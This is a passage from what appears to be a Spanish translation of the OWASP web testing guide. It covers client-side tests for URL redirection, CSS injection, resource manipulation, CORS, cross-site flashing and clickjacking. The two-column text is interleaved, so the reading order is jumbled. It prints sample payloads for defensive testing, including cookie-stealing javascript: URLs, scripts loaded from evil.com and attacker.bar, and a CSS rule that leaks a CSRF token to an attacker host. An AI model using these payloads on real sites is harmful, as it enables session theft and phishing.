como, por ejemplo, una página maliciosa controlada por el atacante. window.location=’http://’+decodeURIComponent(redir);
Modificando la URL de entrada no confiable para redirigir a un usuario hacia En el ejemplo anterior, la secuencia de comandos no realiza ninguna
un sitio malicioso, un atacante puede lanzar una estafa de phishing con éxito y validación de la variable "redir" que contiene la entrada del usuario a través de
robar las credenciales del usuario. Ya que la redirección se origina en la la cadena de consulta y, al mismo tiempo, no se aplica ningún tipo de
aplicación real, los intentos de phishing pueden tener un aspecto más codificación. Esta entrada no validada se pasa a las ventanas. El objeto de
confiable. localización origina una vulnerabilidad de redirección de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente: Esto implica que un atacante podría redirigir a la víctima hacia un sitio
malicioso, simplemente enviando la siguiente cadena de consulta:
http://www.target.site?#redirect=www.fake-target.site
http://www.victim.site/?#www.malicious.site

299
Resumen
Note como si el código vulnerable es el siguiente: Una vulnerabilidad de inyección de CSS implica la capacidad de inyectar
código CSS arbitrario en el contexto de un sitio web de confianza que se
var redir = location.hash.substring(1); mostrará en el navegador de la víctima. El impacto de esta vulnerabilidad
puede variar en función de la carga CSS suministrada: podría causar un Cross-
if (redir) Site Scripting en circunstancias particulares, al robar datos realizando una
extracción de los datos confidenciales o modificaciones de la interfaz del
window.location=decodeURIComponent(redir); usuario.
También sería posible inyectar código JavaScript, por ejemplo, al enviar la Cómo probar
siguiente cadena de consulta:
Esta vulnerabilidad se produce cuando la aplicación permite a un usuario
http://www.victim.site/?#javascript:alert(document.cookie) suministrar CSS generado por el usuario o, si es posible, de alguna manera,
interferir con las hojas de estilo legítimas. Inyectar código en el contexto CSS
da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones,
así como extraer los valores sensibles a través de selectores CSS y funciones
Cuando trate de comprobar este tipo de problema, considere que algunos capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de
caracteres reciben un trato diferente en los distintos navegadores. Ademá,s personalizar sus propias páginas personales mediante el uso de archivos CSS
siempre considere la posibilidad de probar variantes absolutas de direcciones personalizados resulta un riesgo considerable y se debe evitar definitivamente.
URL como se describe aquí: kotowicz.net
El siguiente código JavaScript muestra un posible script vulnerable en el que

Herramientas el atacante puede controlar la "location.hash" (fuente) que alcanza a la función
"cssText" (sink). Este caso en particular puede causar un DOMXSS en las
• DOMinator: dominator.mindedsecurity.com versiones más antiguas de los navegadores, como Opera, Internet Explorer y
Firefox. Para referencia, vea la Wiki de DOM XSS, sección "Estilo de sink".
<a id=”a1”>Click me</a>

Referencias
<script>
OWASP Resources
if (location.hash.slice(1)) {
• OWASP DOM based XSS Prevention Cheat Sheet
document.getElementById(“a1”).style.cssText = “color: “ +
location.hash.slice(1);
}
</script>
Libros Blancos
• Browser location/document URI/URL Sources:

El atacante podría específicamente apuntar a la víctima pidiéndole que visite
las siguientes direcciones URL:
code.google.com
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-link-
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on
source:current; (Opera [8,12])

the loose”: kotowicz.net
• www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
Pruebas de inyección de CSS (OTG-CLIENT-005)

300
La misma vulnerabilidad puede aparecer en el caso típico de reflejo XSS en la Probando las vulnerabilidades de inyección CSS
que, por ejemplo, el código PHP se verá como el siguiente:
Se deben llevar a cabo pruebas manuales y analizar el código de JavaScript
<style> para entender si el atacante puede inyectar su propio contenido en el
contexto de la CSS. En particular, debemos estar interesados en cómo el
p{ sitio web devuelve las reglas CSS en función de las entradas.
color: <?php echo $_GET[‘color’]; ?>;
text-align: center; El siguiente es un ejemplo básico:
} <a id=”a1”>Click me</a>
</style> <b>Hi</b>
<script>
Algunos escenarios de ataque mucho más interesantes incluyen la posibilidad $(“a”).click(function(){

de extraer los datos mediante la adopción de reglas CSS puras. Este tipo de
ataques puede realizarse a través de selectores CSS y direccionando al $(“b”).attr(“style”,”color: “ + location.hash.slice(1));
usuario, por ejemplo, si se toma fichas anti-CSRF, como a continuación. En
particular, input[name=csrf_token][value=â] representa un elemento con el });
atributo "name" ajustado con "csrf_token" y cuyo "value" (valor) de atributo
comienza con "a". Mediante la detección de la longitud del atributo "value", </script>
es posible llevar a cabo un ataque de fuerza bruta contra este y enviar el valor
al dominio del atacante.
<style> El código anterior contiene una fuente "location.hash" que es controlada por
el atacante, quien puede inyectarlo directamente en el atributo "style" de un
input[name=csrf_token][value=â] { elemento HTML. Como se mencionó anteriormente, esto puede llevar a
resultados diferentes basados en el navegador adoptado y la carga
background-image: url(http://attacker/log?a); suministrada.
</style> Se recomienda que los evaluadores utilicen la función de jQuery css(property,

value) en tales circunstancia,s como a continuación, ya que esto no permitiría
ninguna inyección dañina. En general, recomendamos usar siempre una lista
blanca de caracteres permitidos en cualquier momento que se refleje el
Ataques mucho más modernos que utilizan una combinación de SVG, CSS y ingreso en el contexto de la CSS.
HTML5 han demostrado ser más viables, por lo tanto, le recomendamos
consultar la sección de referencias para obtener más información. <a id=”a1”>Click me</a>
<b>Hi</b>
Prueba de Caja Negra <script>
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas $(“a”).click(function(){
de Caja Negra no suelen realizarse ya que el acceso al código fuente siempre
está disponible, y necesita ser enviado al cliente para su ejecución. Sin $(“b”).css(“color”,location.hash.slice(1));
embargo, puede suceder que al usuario se le dé un cierto grado de libertad
para poder suministrar código HTML; en ese caso, es necesario comprobar si });
es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben
prohibirse. </script>
Prueba de Caja Gris Referencias

301
Recursos OWASP Esta vulnerabilidad se produce cuando la aplicación emplea un URL

controlado por el usuario para hacer referencia a recursos externos/internos.
• OWASP DOM based XSS Prevention Cheat Sheet En estas circunstancias, es posible interferir con el comportamiento esperado
de la aplicación, en el sentido de hacer que cargue y procese objetos
maliciosos.
• DOMXSS Wiki: code.google.com
El siguiente código JavaScript muestra un posible script vulnerable en el que

el atacante es capaz de controlar la "location.hash" (fuente) que alcanza al
Presentaciones atributo "src" de un elemento script. Este ejemplo en particular obviamente
lleva a un XSS, ya que un JavaScript externo podría ser fácilmente inyectado
• DOM Xss Identification and Exploitation, Stefano Di Paola: en el sitio web de confianza.
dominator.googlecode.com <script>
var d=document.createElement(“script”);
• Got Your Nose! How To Steal Your Precious Data Without if(location.hash.slice(1))
Using Scripts, Mario Heiderich: youtube.com d.src = location.hash.slice(1);
document.body.appendChild(d);
• Bypassing Content-Security-Policy, Alex Kouzemtchenko:

</script>
ruxcon.org
Específicamente el atacante podría apuntar a la víctima pidiéndole que visite

la siguiente URL:
Prueba de conceptos
www.victim.com/#http://evil.com/js.js
• Password “cracker” via CSS and HTML5: html5sec.org
Donde js.js contiene:

• CSS attribute reading: eaea.sirdarckcat.net
alert(document.cookie)
Pruebas de la manipulación de recursos del lado del cliente (OTG-

CLIENT-006)
Controlar las fuentes de scripts es un ejemplo básico, puesto que pueden
ocurrir algunos otros casos interesantes y más sutiles. Un escenario
Resumen
generalizado implica la posibilidad de controlar la dirección URL con una
Una vulnerabilidad de manipulación de recursos del lado del cliente es un solicitud CORS; puesto que CORS permite que el recurso de destino sea
error de validación de los ingresos que se producen cuando una aplicación accesible por el dominio que lo solicita a través de un acercamiento basado en
acepta las entradas controladas por un usuario que especifica la ruta hacia un encabezados, entonces el atacante puede pedir a la página de destino que
recurso (por ejemplo, la fuente de un iframe, js, applet o el controlador de un cargue contenido malicioso en su propio sitio web.
XMLHttpRequest). Específicamente, esta vulnerabilidad consiste en la
capacidad para controlar las direcciones URL que vinculan a algunos recursos
presentes en una página web. El impacto puede variar en función del tipo de
Refiérase al siguiente código vulnerable:
elemento de la URL controlada por el atacante y, generalmente, se adopta para
llevar a cabo ataques fr Cross-Site Scripting.
<b id=”p”></b>
<script>
Cómo probar
function createCORSRequest(method, url) {

302
var xhr = new XMLHttpRequest();
xhr.open(method, url, true); Pruebas de Caja Gris
xhr.onreadystatechange = function () { Probando las vulnerabilidades para la manipulación de recursos del

cliente:
if (this.status == 200 && this.readyState == 4) {
Para comprobar manualmente este tipo de vulnerabilidad, tenemos que
document.getElementById(‘p’).innerHTML = this.responseText; identificar si la aplicación utiliza entradas que no son validadas
correctamente; éstas están bajo el control del usuario, quien podría
} especificar la url de algunos recursos. Puesto que hay muchos recursos
que se podrían incluir en la aplicación (por ejemplo, imágenes, vídeo,
}; objetos, CSS, marcos, etc.), los scripts a nivel del cliente que manejan las
URL asociadas deben ser investigadas para detectar posibles problemas.
return xhr;
}
La siguiente tabla muestra los posibles puntos de inyección (sink) que
deberían revisarse:
var xhr = createCORSRequest(‘GET’, location.hash.slice(1));
xhr.send(null);
</script>
La "location.hash" es controlada por el atacante y se utiliza para solicitar un

recurso externo, el cual se refleja a través de la construcción de "innerHTML".
Básicamente, el atacante podría pedir a la víctima que visite la siguiente
dirección URL y, al mismo tiempo, él podría diseñar el controlador de carga
útil.
Aproveche la URL: www.victim.com/#http://evil.com/html.html
http://evil.com/html.html Los puntos más interesantes son los que permiten a un atacante incluir el
código del cliente (por ejemplo Javascript), ya que esto podría dar lugar a
---- vulnerabilidades XSS.
<?php
header(‘Access-Control-Allow-Origin: http://www.victim.com’); Cuando trate de comprobar este tipo de problema, considere que algunos
caracteres son tratados de manera diferente por diferentes navegadores.
?> Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes
absolutas URL, como se describe aquí: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas
• DOMinator: dominator.mindedsecurity.com
Las pruebas de Caja Negra para la manipulación de recursos del cliente,
por lo general, no se realizan, ya que el acceso al código fuente está
siempre disponible puesto que tiene que ser enviado al cliente para ser
ejecutado. Referencias

303
Recursos de OWASP Basándose en el resultado de la solicitud de OPTIONS, el navegador

decide si se permite o no la solicitud.
• OWASP DOM based XSS Prevention Cheat Sheet
Cómo probar
Origin & Access-Control-Allow-Origin
El encabezado Origin siempre se envía por el navegador en una solicitud

• DOMXSS TestCase: domxss.com CORS e indica el origen de la solicitud. El encabezado de origen no se
puede cambiar desde JavaScript, aunque confiar en este encabezado para
comprobar los accesos de control no es una buena idea, ya que puede ser
falsificado fuera del navegador, por lo que aún se necesita comprobar que
Libros Blancos los protocolos del nivel de la aplicación se utilizan para proteger datos
sensibles.
• DOM XSS Wiki: code.google.com
Access-Control-Allow-Origin es un encabezado de respuesta utilizado por

• Krzysztof Kotowicz: “Local or Externo? ocal o externo? URL raro en
el servidor para indicar qué dominios tienen permiso para leer la
formatos sueltos ": kotowicz.net
respuesta. En base a la especificación CORS W3, depende del cliente
determinar y hacer cumplir la restricción si él tiene acceso a los datos de
respuesta basados en este encabezado.
Pruebas para el intercambio el intercambio de recursos de origen
cruzado (OTG-CLIENT-007)
Desde una perspectiva de pruebas de penetración, usted debe buscar
Resumen
configuraciones inseguras, tales como, por ejemplo, usar un comodín '*'
La prueba de intercambio de recursos de origen cruzado o CORS es un como el valor del encabezado Access-Control-Allow-Origin que significa
mecanismo que permite a un navegador web realizar peticiones de que todos los dominios están permitidos. Otro ejemplo de
"cross-domain" que utiliza la API XMLHttpRequest L2 de una manera configuraciones inseguras es cuando el servidor devuelve el encabezado
controlada. En el pasado, la API XMLHttpRequest L1 sólo permitía que las de origen sin ninguna comprobación adicional, lo que puede conducir al
solicitudes se enviaran dentro del mismo origen, ya que estaba acceso a datos sensibles. Tenga en cuenta que esta configuración es muy
restringida por la política del mismo origen. insegura y no es aceptable en términos generales, excepto en el caso de
una API pública que está destinada a ser accesible para todos.
Las solicitudes de origen cruzado tienen un encabezado de origen que

Método Access-Control-Request & MétodoAccess-Control-Allow
identifica el dominio que inicia la petición y siempre se envía al servidor.
CORS define el protocolo a utilizar entre un navegador web y un servidor
El encabezado del Access-Control-Request-Method se utiliza cuando un
para determinar si se permite una solicitud de origen cruzado. Con el fin
navegador realiza una solicitud de verificación previa de OPTIONS y
de lograr este objetivo, hay algunos encabezados HTTP que participan en
permite que el cliente indique el método para la solicitud final. Por otro
este proceso,. que son compatibles con todos los navegadores que se
lado, el Access-Control-Allow-Method es un encabezado de respuesta que
detallan a continuación e incluyen:: Origen, Acceso-Control-Solicitud-
utiliza el servidor para describir los métodos que los clientes están
Método, Acceso-Control-Solicitud-Encabezados, Acceso-Control-Permiso-
autorizados a utilizar.
Origen, Acceso-Control-Permiso-Credenciales, Acceso-Control-Permiso-
Métodos, Acceso-Control-Permiso-Encabezados.
Encabezados Access-Control-Request-Headers & Access-Control-Allow

Los mandatos de especificación CORS para las solicitudes no simples,
Estos dos encabezados se utilizan entre el navegador y el servidor para
como por ejemplo las solicitudes que no sean GET o POST o las solicitudes
determinar qué encabezados se pueden utilizar para realizar una
que utilizan credenciales, deben enviar una solicitud previa de OPTIONS
solicitud de origen cruzado.
para comprobar si el tipo de solicitud tendrá un impacto negativo en los
datos. La solicitud previa al mandato comprueba los métodos, los
encabezados permitidos por el servidor y si se permiten las credenciales.
304
Access-Control-Allow-Credentials
Este encabezado, como parte de una solicitud previa al mandato, indica Solicitud (note el encabezado de "Origen" :)
que la solicitud definitiva puede incluir las credenciales de usuario.
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
Validación de entradas
La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una Gecko/20100101 Firefox/24.0
solicitud entre dominios mediante la API XHR para la compatibilidad en
retrospectiva. Esto puede introducir vulnerabilidades de seguridad que Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en XHR L1 no estaban presentes. Los puntos interesantes del código para
explotar serían las URL que son pasadas a XMLHttpRequest sin Accept-Language: en-US,en;q=0.5
validación, especialmente si las direcciones absolutas URL son
permitidas, ya que podrían conducir a la inyección del código. Del mismo Referer: http://example.foo/CORSexample1.html
modo, otras partes de la aplicación pueden ser explotadas si los datos de
respuesta no se escapan y podemos controlarlos proporcionando los Origin: http://example.foo
datos de entrada dados por el usuario.
Otros encabezados
Respuesta (note el encabezado ‘Access-Control-Allow-Origin’:)
Hay otros encabezados involucrados como el de Access-Control-Max-Age
que determina el tiempo en que una solicitud de verificación previa HTTP/1.1 200 OK
puede almacenar en caché en el navegador, o el de Access-Control-Expose-
Headers que indica qué encabezados son seguros para exponer a la API Date: Mon, 07 Oct 2013 18:57:53 GMT
de una especificación API CORS. Ambos son encabezados de respuesta
especificados en el documento del CORS W3C. Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Pruebas de Caja Negra Access-Control-Allow-Origin: *
Las pruebas de Caja Negra para encontrar temas relacionados con el Content-Length: 4
intercambio de recursos de origen cruzado, por lo general, no se realizan
debido a que el acceso al código fuente está siempre disponible, ya que Keep-Alive: timeout=15, max=99
tiene que ser enviado al cliente para ser ejecutado.
Connection: Keep-Alive
Content-Type: application/xml
Revise los encabezados HTTP con el fin de entender cómo se utiliza CORS;
en particular, debemos estar muy interesados en el encabezado de origen [Response Body]
para aprender qué dominios se permiten. Además, la inspección manual
del JavaScript es necesaria para determinar si el código es vulnerable a la
inyección de código debido a una manipulación incorrecta de la entrada
Ejemplo 2: Problema de validación de entrada, XSS con CORS:
proporcionada por el usuario. A continuación se presentan algunos
ejemplos:
Este código hace una solicitud al recurso enviado después del carácter #
en la URL, utilizado inicialmente para obtener recursos en el mismo
servidor.
Ejemplo 1: Respuesta insegura con el comodín '*' en Access-Control-
Allow-Origin:
Código vulnerable:

305
<script>
Ahora, ya que no hay una validación de la URL, se puede inyectar un script

remoto, que se inyecta y se ejecutará en el contexto del example.foo
var req = new XMLHttpRequest(); domain, con una URL como ésta:
http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() {
Por ejemplo, una petición como ésta mostrará el contenido del archivo Solicitud y respuesta generada por esta URL:
profile.php:
GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php
Host: attacker.bar

Solicitud y respuesta generada por esta URL: Gecko/20100101 Firefox/24.0
GET http://example.foo/profile.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: example.foo Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Referer: http://example.foo/main.php

Gecko/20100101 Firefox/24.0
Origin: http://example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)

HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.4-14+deb7u3
Date: Mon, 07 Oct 2013 18:20:48 GMT
Access-Control-Allow-Origin: *
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Content-Length: 92
Content-Length: 25
Injected Content from attacker.bar <img src=”#” onerror=”alert(‘Domain:
Content-Type: text/html ‘+document.domain)”>
[Response Body]

306
particular, dado que las aplicaciones Flash a menudo se incrustan en los

navegadores, las vulnerabilidades como las basadas en DOM para Cross-
Site Scripting (XSS) podrían estar presentes en las aplicaciones Flash
defectuosas.
Cómo probar
Desde la primera publicación de "Probando las aplicaciones Flash" [1], las

nuevas versiones de Flash Player se publicaron con el fin de mitigar
algunos de los ataques que se describirán. Sin embargo, algunas
cuestiones todavía son aprovechables, ya que son el resultado de
prácticas inseguras de programación.
Herramientas
• OWASP Zed Attack Proxy (ZAP): owasp.org Descompilación
Dado que los archivos SWF son interpretados por una máquina virtual
integrada en el propio reproductor, estos pueden ser potencialmente
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar descompilados y analizados. El descompilador más conocido y gratuito de
para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser ActionScript 2.0 es flare.
utilizada por personas con amplia experiencia en seguridad y, como tal, es
ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso
de pruebas de penetración. ZAP ofrece escáneres automatizados, así como
un conjunto de herramientas que le permiten encontrar vulnerabilidades Para descompilar un archivo SWF con flare solo escriba:
de seguridad de forma manual.
$ flare hello.swf
Referencias
lo que dará lugar a un nuevo archivo llamado hello.flr.
Recursos OWASP
• OWASP HTML5 Security Cheat Sheet: owasp.org

La descompilación ayuda a los evaluadores, ya que permite realizar
Libros Blancos pruebas de las aplicaciones Flash asistidas por el código fuente o de Caja
Blanca. La herramienta gratuita SWFScan de HP puede descompilar tanto
• W3C - CORS W3C Specification: w3.org ActionScript 2.0 como ActionScript 3.0.
Prueba de Cross-site flashing (OTG-CLIENT-008) El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de
desensambladores, descompiladores y otras herramientas de prueba
Resumen relacionadas con Adobe Flash.
ActionScript es el lenguaje basado en ECMAScript, usado por las

aplicaciones Flash cuando maneja necesidades interactivas. Hay tres
versiones del lenguaje ActionScript. ActionScript 1.0 y ActionScript 2.0 Las variables indefinidas FlashVars
son muy similares con ActionScript 2.0 que es una extensión de
ActionScript 1.0. ActionScript 3.0, introducido con Flash Player 9, es una FlashVars son las variables que el desarrollador SWF planificó recibir
reescritura del lenguaje para apoyar el diseño orientado por objetos. desde la página web. Las FlashVars normalmente se pasan desde el objeto
o la etiqueta incorporada dentro de HTML. Por ejemplo:
<object width=”550” height=”400” classid=”clsid:D27CDB6E-AE6D-11cf-

ActionScript, como cualquier otro lenguaje, tiene algunos patrones de 96B8-444553540000”
implementación que podrían llevar a problemas de seguridad. En
307
codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swfla #initclip
sh.cab#version=9,0,124,0”>
if (!_global.Locale) {
<param name=”movie” value=”somefilename.swf”>
var v1 = function (on_load) {
<param name=”FlashVars” value=”var1=val1&var2=val2”>
var v5 = new XML();
<embed src=”somefilename.swf” width=”550” height=”400”
FlashVars=”var1=val1&var2=val2”> var v6 = this;
</embed> v5.onLoad = function (success) {
</object> if (success) {
Las FlashVars también se pueden inicializar desde la URL: trace(‘Locale loaded xml’);
http://www.example.org/somefilename.swf?var1=val1&var2=val2 var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explícitamente los while (v2 < v3.length) {
valores FlashVar a las variables locales. Por lo general, esto se ve como:
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
++v2;
var var1:String = String(paramObj[“var1”]);
}
var var2:String = String(paramObj[“var2”]);
on_load();
} else {}
En ActionScript 2.0, cualquier variable global no inicializada se asume
como una variable de Flash. Las variables globales son aquellas variables };
que se anteponen con _root, _global o _level0. Esto significa que si un
atributo como: if (_root.language != undefined) {
_root.varname Locale.DEFAULT_LANG = _root.language;
es indefinido a lo largo del flujo del código, se podría sobrescribir

configurando
v5.load(Locale.DEFAULT_LANG + ‘/player_’ +
http://victim/file.swf?varname=value
Locale.DEFAULT_LANG + ‘.xml’);
};
Independientemente de si usted está viendo ActionScript 2.0 o
ActionScript 3.0, las variables de Flash pueden ser un vector de ataque.
Veamos una parte del código ActionScript 2.0 que es vulnerable:
El código anterior podría ser atacado mediante la solicitud:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo:
movieClip 328 __Packages.Locale {

Métodos inseguros

308
Cuando se identifica un punto de entrada, los datos que representa

podrían ser utilizados por métodos inseguros. Si los datos no se
filtran/validan usando la expresión regexp correcta, estos podrían XSS
conducir a algún problema de seguridad.
GetURL (AS2) / NavigateToURL (AS3):
La función GetURL de ActionScript 2.0 y NavigateToURL en ActionScript

Los métodos inseguros desde la versión r47 son: 3.0 permite que la película cargue un URI en la ventana del navegador.
loadVariables()
loadMovie() Así que si una variable indefinida se utiliza como el primer argumento
para getURL:
getURL()
getURL(_root.URI,’_targetFrame’);
loadMovie()
loadMovieNum()
o si un FlashVar se utiliza como el parámetro que se envía a una función
FScrollPane.loadScrollContent() navigateToURL:
LoadVars.load var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
LoadVars.send navigateToURL(request);
XML.load ( ‘url’ )
LoadVars.load ( ‘url’ ) Entonces esto significará que es posible llamar a JavaScript en el mismo
dominio en el que la película está alojada, solicitando:
Sound.loadSound( ‘url’ , isStreaming );
http://victim/file.swf?URI=javascript:evilcode
NetStream.play( ‘url’ );
getURL(‘javascript:evilcode’,’_self’);
flash.external.ExternalInterface.call(_root.callback)
Lo mismo pasa cuando solamente se controla una parte de getURL:

htmlText
Dom Injection with Flash JavaScript injection
La prueba
getUrl(‘javascript:function(‘+_root.arg+’))
Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar
alojado en el host de la víctima, y se deben utilizar las técnicas de XSS
reflejado. Eso obliga al navegador a cargar un archivo SWF puro
asfunction:
directamente en la barra de direcciones (mediante una redirección o
ingeniería social) o cargándolo a través de un iframe desde una página
Se puede utilizar el protocolo especial asfunction para que el enlace
maligna;
ejecute una función ActionScript en un archivo SWF en lugar de abrir una
<iframe src=’http://victim/path/to/file.swf’></iframe> URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction podía ser
utilizada en cada método que tiene una URL como argumento. Después de
ese lanzamiento, asfunction se limita al uso dentro de un campo de texto
HTML.
Esto se debe a que en esta situación el navegador autogenera una página
HTML como si fuera invitada por el host de la víctima.
309
Esto significa que un evaluador podría intentar inyectar: Así que, si alguna parte del texto puede ser controlada por el evaluador,
una etiqueta A o una etiqueta IMG podría inyectarse, lo que resultaría en
asfunction:getURL,javascript:evilcode la modificación de la GUI o del uso de XSS en el navegador.
en cada método inseguro como: Algunos ejemplos de ataque con una etiqueta A:
loadMovie(_root.URL) • Direct XSS: <a href=’javascript:alert(123)’ >
solicitando: • Call a function: <a href=’asfunction:function,arg’ >
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
• Call SWF public functions:
ExternalInterface: <a href=’asfunction:_root.obj.function, arg’>
ExternalInterface.call es un método estático introducido por Adobe para

mejorar la interacción jugador/navegador con ActionScript 2.0 y
ActionScript 3.0. • Call native static as function:
Desde el punto de vista de seguridad, podría ser objeto de abuso si parte La etiqueta IMG podría ser utilizada también:
de su argumento puede ser controlado:
<img src=’http://evil/evil.swf’ >
flash.external.ExternalInterface.call(_root.callback);
<img src=’javascript:evilcode//.swf’ > (.swf is necessary to bypass flash
player internal filter)
El patrón de ataque para este tipo de defecto podría ser algo como lo
siguiente:
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS
eval(evilcode) ya no es explotable, pero la modificación GUI todavía se puede lograr.
ya que el JavaScript interno ejecutado por el navegador será algo como: Cross-Site Flashing
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto
“<undefined/>”; }’) similar a XSS.
Inyección HTML
Los objetos de campo de texto pueden hacer un HTML mínimo El XSF se produce desde diferentes dominios:
estableciendo:
• Una película carga otra película con la función loadMovie * o con otros
tf.html = true hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = ‘<tag>text</tag>’
• El XSF también podría ocurrir cuando una página HTML utiliza

JavaScript para mandar una película de Adobe Flash, por ejemplo,
comunicándose con:

310
que el usuario tiene en trusted.example.org para engañar al usuario a que

entre en su página web maliciosa. A partir de ahí, se podría poner en
• GetVariable: accede a los objetos públicos y estáticos de flash mediante marcha un 0-día, se llevaría a cabo la suplantación de la página web
una cadena JavaScript. original, o cualquier otro tipo de ataque. SWF puede, sin querer, estar
actuando como un redireccionador abierto en el sitio web.
• SetVariable: fija un objeto estático o público de flash en un nuevo valor

de cadena de JavaScript. Los desarrolladores deberían evitar tomar URL completas como variables
de Flash. Si sólo se va a navegar dentro de su propio sitio web, entonces
se deberían utilizar URL relativas o comprobar que la URL comienza con
un dominio de confianza y protocolo.
• Una comunicación inesperada desde el navegador hacia el SWF podría
dar lugar al robo de datos de la aplicación SWF.
Los ataques y la versión de Flash Player
Esto podría llevarse a cabo forzando a un SWF defectuoso a cargar un Desde mayo de 2007, tres nuevas versiones de Flash Player fueron
archivo flash malicioso externo. Este ataque podría resultar en XSS o en la lanzadas al mercado por Adobe. Cada nueva versión restringe algunos de
modificación de la interfaz gráfica del usuario, con el fin de engañarlo los ataques descritos anteriormente.
para que inserte sus credenciales en un formulario flash falso. El XSF
podría ser utilizado en presencia de una inyección de Flash HTML o de
archivos SWF externos cuando se utilicen métodos loadMovie *.
Redirectores abiertos
Los SWF tienen la capacidad de navegar con el explorador. Si el SWF toma

el destino como un FlashVar, entonces el SWF puede ser utilizado como
un redirector abierto. Un redirector abierto es cualquier pieza de Resultado esperado:
funcionalidad en un sitio web de confianza, que un atacante puede utilizar
para redirigir al usuario a un sitio web malicioso. Estos se utilizan con Cross-Site Scripting y Cross-Site Flashing son los resultados esperados en
frecuencia dentro de los ataques de phishing. Al igual que en cross-site un archivo SWF defectuoso.
scripting, el ataque implica que un usuario final haga clic en un enlace
malicioso.
Herramientas
En el caso de Flash, la URL maliciosa podría verse como: • Adobe SWF Investigator: labs.adobe.com
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-
spoofing-website.org/phishEndUsers.html
• SWFScan: downloadcrew.com
En el ejemplo anterior, un usuario final puede ver que la URL comienza en

• SWFIntruder: owasp.org
su sitio web favorito, de confianza, y hace clic en él. El enlace carga el
archivo SWF de confianza que tiene el getURLValue y le proporciona una
llamada de navegación del navegador ActionScript:
• Decompiler - Flare: nowrap.de
getURL(_root.getURLValue,”_self”);
• Compiler - MTASC: mtasc.org

Este navegaría con el explorador a la URL maliciosa, proporcionada por el
atacante. En este punto, el phisher ha aprovechado con éxito la confianza

311
• Disassembler - Flasm: flasm.sourceforge.net "Clickjacking" (que es un subconjunto de “UI redressing”) es una técnica
maliciosa que consiste en engañar a un usuario web para que interactúe
(en la mayoría de los casos haciendo clic) con algo diferente a lo que el
usuario cree que está interactuando.
• Swfmill - Convert Swf to XML and vice versa: swfmill.org
Este tipo de ataque, que puede ser utilizado solo o en combinación con
• Debugger Version of Flash Plugin/Player: adobe.com otros ataques, podría potencialmente enviar comandos no autorizados o
revelar información confidencial mientras la víctima está interactuando
con páginas web aparentemente inofensivas. El término "clickjacking" fue
acuñado por Jeremiah Grossman y Robert Hansen en 2008.
Referencias
OWASP
Un ataque de clickjacking utiliza características aparentemente inocuas
• Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP
de HTML y Javascript para obligar a la víctima a realizar acciones no
Flash tiene incluso más referencias que las que se enumeran a
deseadas tales como hacer clic en un botón que parece realizar otra
continuación:
operación. Se trata de un problema de seguridad "del lado del cliente",
que afecta a una gran variedad de navegadores y plataformas
owasp.org
Para llevar a cabo este tipo de técnica, el atacante tiene que crear una
Libros Blancos
página web aparentemente inofensiva que cargue la aplicación al objetivo
de destino, mediante el uso de un iframe (convenientemente oculto
• Testing Flash Applications: A new attack vector for XSS
mediante el uso de código CSS).
and XSFlashing: owasp.org
Una vez que esto se ha hecho, el atacante podría inducir a la víctima a

• Finding Vulnerabilities in Flash Applications: owasp.org interactuar con su página web ficticia por otros medios (como por
ejemplo ingeniería social). Al igual que otros ataques, un requisito
habitual es que la víctima sea autenticada contra el sitio web de destino
del atacante.
• Adobe security updates with Flash Player 9,0,124,0 to reduce
cross-site attacks: adobe.com
• Securing SWF Applications: adobe.com
• The Flash Player Development Center Security Section:
adobe.com
• The Flash Player 10.0 Security Whitepaper: adobe.com
Prueba de Clickjacking (OTG-CLIENT-009)
Resumen
312
Una vez que la víctima navega en la página web ficticia, piensa que está <html>
interactuando con la interfaz de usuario visible, pero efectivamente está
llevando a cabo acciones en la página oculta. <head>
<title>Clickjack test page</title>
Debido a que la página oculta es una página auténtica, el atacante puede </head>
engañar a los usuarios para realizar acciones que nunca tuvieron la
intención de hacer a través de un posicionamiento "ad hoc" de los <body>
elementos de la página web.
